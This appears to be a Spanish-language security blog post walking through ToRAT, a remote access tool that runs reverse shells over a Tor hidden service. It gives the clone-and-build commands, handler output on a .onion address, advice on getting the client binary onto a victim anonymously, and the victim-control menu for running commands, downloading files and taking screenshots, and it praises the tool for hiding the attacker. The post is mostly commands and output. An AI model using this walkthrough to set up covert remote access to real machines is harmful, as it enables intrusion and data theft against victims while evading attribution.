ToRAT es una herramienta que permite ejecutar reverse shells aprovechando el anonimato que proporciona Tor. El modo de funcionamiento es el siguiente:
Creación del Hidden Service y binarios Lo primero es descargar la herramienta y compilar los binarios para las víctimas. Para mayor facilidad de uso, esta tarea se puede realizar usando contenedores Docker:
$ git clone https://github.com/lu4p/ToRat.git && cd ./ToRat $ sudo docker build . -t torat ... serverDomain = "lfnd36...bruzvyd.onion" serverPort = ":1337" serverAddr = serverDomain + serverPort ... ServerPubKey, _ = crypto.CertToPubKey(serverCert) ... 21325616 -> 10775636 50.53% linux/amd64 client_linux 22107648 -> 10323968 46.70% win64/pe client_windows.exe
$ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat Con esto, el handler de ToRat empezará a escuchar conexiones en un Hidden Service de Tor. La herramienta nos da acceso al siguiente menú interactivo: $ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat ... [Server] /dist_ext/dist/server$ help Commands: alias give a client an alias cd change the working directory of the server clear clear the screen exit exit the server help display help list list all connected clients select interact with a client Reverse shell desde la víctima Es el momento de subir y ejecutar el binario en la víctima. Para no romper el anonimato, este binario debería subirse a la víctima usando algún servicio que haga de intermediario. Tras la ejecución del binario en la víctima, recibimos una sesión en el handler lanzado en el atacante: $ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat ... [+] New Client vBHv3Vc5awx39ivu connected! [Server] /dist_ext/dist/server$ list Clients: 0 vBHv3Vc5awx39ivu vBHv3Vc5awx39ivu Interacción con la víctima Primero elegimos la víctima sobre la que queremos interactuar con el comando select: [Server] /dist_ext/dist/server$ select ❯ 0 vBHv3Vc5awx39ivu vBHv3Vc5awx39ivu /data$ help Commands: cat print the content of a file: usage cat <file> cd change the working directory of the client clear clear the screen down download a file from the client: usage down <file> escape escape a command and run it natively on client exit background the current session help display help reconnect tell the client to reconnect screen take a screenshot of the client and upload it to the server up upload a file from the cwd of the Server to cwd of the client: usage up <file> En este momento, ya estamos interactuando con la víctima y podemos ejecutar comandos, subir y descargar ficheros, etc.
Conclusiones ToRAT es una herramienta muy útil para ganar acceso a las víctimas preservando el anonimato del atacante. Simplifica muchísimo la interacción con Tor. De hecho, es prácticamente transparente para el atacante y soporta víctimas con sistemas operativos basados en Linux y en Windows como víctimas. Sin embargo, es un proyecto muy joven que necesita de mucha más estabilidad y desarrollo de nuevas características. En concreto, echamos en falta integración con otras herramientas como Metasploit, shells más interactivas y redirecciones de puertos para pivoting, entre otras. Queda claro que es una opción a considerar de cara al futuro del pentesting con Tor. Los comentarios están cerrados.
|
AutorHUMEDAL INFORMATIK Archivos
Diciembre 2020
Categorías
Todos
|